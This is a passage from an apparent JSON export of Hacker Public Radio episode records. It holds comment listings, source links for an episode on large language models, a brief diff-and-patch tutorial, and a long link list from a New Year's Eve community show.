                                                              • \nComment 2:\noperat0r on 2025-03-02:\n\"not a robot\"

                                                              \n
                                                            • hpr4321\n(2025-02-24) \"Crux Linux\"\nby Klaatu.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndnt on 2025-03-05:\n\"Messing up\"

                                                              \n
                                                            • hpr4323\n(2025-02-26) \"Good Samaritan laws, Duty to rescue in the Netherlands\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSome Guy on the Internet on 2025-03-05:\n\"Great show.\"
                                                              • \n
                                                              • \nComment 2:\nAntoine on 2025-03-05:\n\"And in Brazil\"

                                                              \n
                                                            • hpr4325\n(2025-02-28) \"Two Software I use- Futo Keyboard and Inoreader\"\nby Antoine.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\narcher72 on 2025-03-02:\n\"FUTO Keyboard\"
                                                              • \n
                                                              • \nComment 2:\nAntoine on 2025-03-02:\n\"@#1 My setup\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr4326\n(2025-03-03) \"HPR Community News for February 2025\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2025-03-05:\n\"SGOTI's mop\"

                                                              \n
                                                            • hpr4328\n(2025-03-05) \"Use SELinux the easy way\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlyunpaw@gmail.com on 2025-03-07:\n\"Time to brick the box.\"
                                                              • Comment 2:\nKlaatu on 2025-03-10:\n\"This advice comes with no warranty\"

                                                              \n
                                                            • hpr4329\n(2025-03-06) \"Maintaining The Remote System\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-04:\n\"Have you considered using Syncthing\"

                                                              \n
                                                            • hpr4330\n(2025-03-07) \"GIMP: Fixing Photos\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Great Tips\"
                                                              • Comment 2:\nRother on 2025-03-08:\n\"playback \"
                                                              • Comment 3:\nKevin O'Brien on 2025-03-08:\n\"Processing\"
                                                              • Comment 4:\nHenrik Hemrin on 2025-03-11:\n\"Quick access to external photo editing tools from digiKam thumbnail view. \"
                                                              • Comment 5:\nKevin O'Brien on 2025-03-11:\n\"Good tip\"

                                                              \n
                                                            • hpr4331\n(2025-03-10) \"Re-inventing the light switch\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-03:\n\"undocumented network exploit\"

                                                              \n
                                                            • hpr4332\n(2025-03-11) \"Top 5 mistakes every new terminal user makes\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-04:\n\"Send this back to my past self\"

                                                              \n
                                                            • hpr4333\n(2025-03-12) \"A Radically Transparent Computer Without Complex VLSI\"\nby Marc W. Abel.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-04:\n\"Everyone needs to listen to this show\"
                                                              • Comment 2:\nMarc on 2025-03-07:\n\"Reply to comment (or if a volunteer can edit it directly instead, that's fine)\"
                                                              • Comment 3:\npaulj on 2025-03-19:\n\"Dauug\"
                                                              • Comment 4:\nMarc on 2025-03-24:\n\"Hardware build road map\"
                                                              • Comment 5:\nCeleste on 2025-03-24:\n\"About the software part reliability\"

                                                              \n
                                                            • hpr4339\n(2025-03-20) \"Review of the YR01 smart lock\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-11:\n\"Unfortunately mine turned into a project.\"
                                                              • Comment 2:\nTrey on 2025-03-20:\n\"Only one trip to the hardware store?\"

                                                              \n
                                                            • hpr4342\n(2025-03-25) \"How I use Git to blog on the web and gopherspace\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-March/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4352,"date":"2025-04-08","title":"Why grandma, what large language models you have.","duration":597,"summary":"Sgoti talks about large lanuage models and enshittification.","notes":"

                                                            Title: A large language model (LLM).

                                                            \n

                                                            License: Text is available under the Creative Commons Attribution-ShareAlike 4.0 License; additional terms may apply.

                                                            \n

                                                            Source(s): https://en.wikipedia.org/wiki/Large_language_model

                                                            \n

                                                            Title: Enshittification, also known as crapification and platform decay.

                                                            \n

                                                            License: Text is available under the Creative Commons Attribution-ShareAlike 4.0 License; additional terms may apply.

                                                            \n

                                                            Source(s): https://en.wikipedia.org/wiki/Enshittification

                                                            \n

                                                            Title: Technical debt.

                                                            \n

                                                            License: Text is available under the Creative Commons Attribution-ShareAlike 4.0 License; additional terms may apply.

                                                            \n

                                                            Source(s): https://en.wikipedia.org/wiki/Technical_debt

                                                            \n

                                                            Title: Programming language.

                                                            \n

                                                            License: Text is available under the Creative Commons Attribution-ShareAlike 4.0 License; additional terms may apply.

                                                            \n

                                                            Source(s): https://en.wikipedia.org/wiki/Programming_language

                                                            \n

                                                            Title: bastardize

                                                            \n

                                                            License: Copyright. All rights reserved.

                                                            \n

                                                            Source(s): https://www.merriam-webster.com/dictionary/bastardization

                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"large language models, enshittification","version":0,"downloads":0,"valid":1}, {"id":4353,"date":"2025-04-09","title":"diff and patch","duration":1826,"summary":"Learn how to use diff and patch","notes":"\n

                                                            Make a diff:

                                                            \n\n
                                                            $ diff --unified --new-file --recursive original/ my-revision/ > my.patch
                                                            \n\n

                                                            Send my.patch to somebody so they can use it as input for the patch command:

                                                            \n\n
                                                            $ patch --strip 0 < my.patch
                                                            \n\n\n\r","hostid":78,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash, linux, diff, patch","version":0,"downloads":0,"valid":1}, {"id":4354,"date":"2025-04-10","title":"24-25 New Years Eve show episode 5","duration":6459,"summary":"The HPR community comes together to say happy new year and chat","notes":"\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-----------------

                                                            \n

                                                            \nNYE 2025 5

                                                            \n

                                                            \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPulse Audio\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pulse.audio/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTech and Coffee\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://techandcoffee.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNetgear Switch\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.netgear.com/business/wired/switches/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMagiford Books by KM Shea\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.goodreads.com/series/367723-magiford-supernatural-city\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDan Willis Arcane Case Books\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://danwillisauthor.com/product-category/arcane-casebook-series/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBrad Magnarella Prof Croft Books\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.goodreads.com/series/192507-prof-croft\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAuld Lang Syne \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.themorgan.org/sites/default/files/images/exhibitions/AuldLangSyne.pdf\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBagpipes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.getours.com/expert-travel-advice/history-traditions-celebrations/the-history-of-bagpipes-in-scotland\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUilleann\n Bag Pipes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Uilleann_pipes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGlasgow, Scotland\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.visitglasgow.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nIBM\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.ibm.com/us-en\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWells Fargo\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.wellsfargo.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFirst Union\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/First_Union\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWachovia\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Wachovia\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBank of America\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bankofamerica.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDallas Fort Worth\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.tourtexas.com/texas-maps/dallas-fort-worth-map\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLotus SmartSuite

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/IBM_Lotus_SmartSuite\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBlackberry

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.blackberry.com/us/en\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOpen Office

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttp://www.openoffice.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLotus 1-2-3

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Lotus_1-2-3\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n386/SX\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.computerworld.com/article/1488343/flashback-remembering-the-386sx.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWordPerfect

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.wordperfect.com/en/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDbase III

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://winworldpc.com/product/dbase/iii-plus-v11\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBASIC\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://arstechnica.com/gadgets/2024/05/the-basic-programming-language-turns-60/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBipolar\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mayoclinic.org/diseases-conditions/bipolar-disorder/symptoms-causes/syc-20355955\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAutism\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.autismspeaks.org/what-autism\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMVS \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://openmainframeproject.org/blog/an-introduction-to-mvs-ibm-mainframe-and-z-os/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLotus Notes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://info.docxellent.com/blog/what-is-lotus-notes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDeutsche Bank\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.db.com/index?language_id=1&kid=sl.redirect-en.shortcut\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nIndex Funds\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.investor.gov/introduction-investing/investing-basics/investment-products/mutual-funds-and-exchange-traded-4\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nETFs\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.investopedia.com/terms/e/etf.asp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nIIPR ETF\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.marketwatch.com/investing/stock/iipr\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPIANO\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.yamaha.com/en/musical_instrument_guide/piano/structure/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCraigslist\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.craiglist.org\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nmouth harp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.carvedculture.com/blogs/articles/mouth-jaw-harp-the-complete-guide\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAuto Harp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://dulcimer.net/what-is-an-autoharp/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCeltic Lap Harp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Celtic_harp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKazoos\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://kazoos.com/pages/the-kazoo-its-physics-history-and-importance-for-modern-music\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPenny Whistle (Tin Whistle)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://blog.mcneelamusic.com/irish-tin-whistle-guide/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMultiMeter\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.fluke.com/en-us/learn/blog/electrical/what-is-a-digital-multimeter\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLight Saber\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://starwars.fandom.com/wiki/Lightsaber\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLight Saber Crystals\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://starwars.fandom.com/wiki/Kyber_crystal\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCristal (Champagne)

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.louis-roederer.com/en/wine/cristal\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGodwin's Law\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Godwin%27s_law\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHuey Magoo's Chicken Fingers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://hueymagoos.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFort Lauderdale\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.fortlauderdale.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPennsacola\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.visitpensacola.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNew Hampshire\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nh.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNew Hampster\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.change.org/p/make-new-hampshire-new-hampster-a-call-for-a-state-nickname-change\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFuddruckers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.fuddruckers.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHooters\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.hooters.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTwin Peaks (restaurant)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://twinpeaksrestaurant.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTwin Peaks (TV Show)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://twinpeaks.fandom.com/wiki/Twin_Peaks\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBuc-ees\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://buc-ees.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTampa\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.visittampabay.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOklahoma\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.travelok.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLawton, Oklahoma\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.lawtonok.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBuc-ees Sandwiches \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.al.com/life/2021/09/whats-the-best-sandwich-at-buc-ees-spoiler-alert-its-not-bbq-brisket.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBuc-ees Fudge 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mashed.com/1414285/best-buc-ees-fudge-flavors-include-sampler-box/\n 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBuc-ees Jerky

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.southernliving.com/best-buc-ees-jerky-flavors-7371168\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nYogi Berra\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.baseball-reference.com/players/b/berrayo01.shtml\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSpartenburg, NC\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.cityofspartanburg.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nIceland\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.visiticeland.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGreenland\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://visitgreenland.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nYueungling\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.yuengling.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHacker Pschorr\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.hacker-pschorr.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nErdinger\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://us.erdinger.de/beer.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWarsteiner\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.warsteiner.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSchlitz\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttp://schlitzbrewing.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOld English 800\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.molsoncoors.com/brands/our-brands/olde-english-800?region=951\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPabst Blue Ribbon\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pabstblueribbon.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTotal Wine\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.totalwine.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRed Dwarf\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://reddwarf.co.uk/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDoctor Who\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.doctorwho.tv/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCosmic Background Radition\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Cosmic_background_radiation\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTV Static\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Noise_(video)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRed Dwarf Books\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.goodreads.com/series/51701-red-dwarf\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPattya Thailand \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.tourismthailand.org/Destinations/Provinces/Pattaya/469\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKali Temple\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://wanderboat.ai/attractions/thailand/chon-buri-province/the-temple-of-the-goddess-kali-at-pattaya/frslAS6TRJ6wZruRHD0E5w\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKhao Kheow Open Zoo\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Khao_Kheow_Open_Zoo\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMoo Deng Pygmi Hippo Baby\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bbc.com/news/articles/cy848292dr4o\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMoo Deng Keychains\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.etsy.com/market/moo_deng_keychain\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMoo Deng Plushie\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://moodengplushie.com/product-category/moo-deng-plush/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nI Want A Hippopotamus For Christmas\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://youtu.be/OjPm0o04lGE\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPlural of Hippopotamus\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.grammarpalette.com/whats-the-plural-of-hippopotamus-is-it-hippopotamuses/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n1913 Ingram Kitchen Clock \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://clockrepairstudio.com/brands-we-service/ingraham-clock-company-history/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEscape Wheel (clock)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Escapement\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nUrandom Podcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://urandom-podcast.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nImposter Syndrome\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Impostor_syndrome\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDEC\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Digital_Equipment_Corporation\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAARPA Net\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://cs.stanford.edu/people/eroberts/courses/soco/projects/distributed-computing/html/history.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSnowball Ice Microphone\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://cs.stanford.edu/people/eroberts/courses/soco/projects/distributed-computing/html/history.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPenguins Hockey Team\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nhl.com/penguins/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAvalanche Hockey Team\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nhl.com/avalanche/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJets Hockey Team\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nhl.com/jets/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLikebook Mars E-Reader\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://goodereader.com/blog/electronic-readers/boyue-likebook-mars-e-reader-review\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOnyx Boox Go Color 7 E-ink Reader\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://onyxboox.com/boox_gocolor7\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

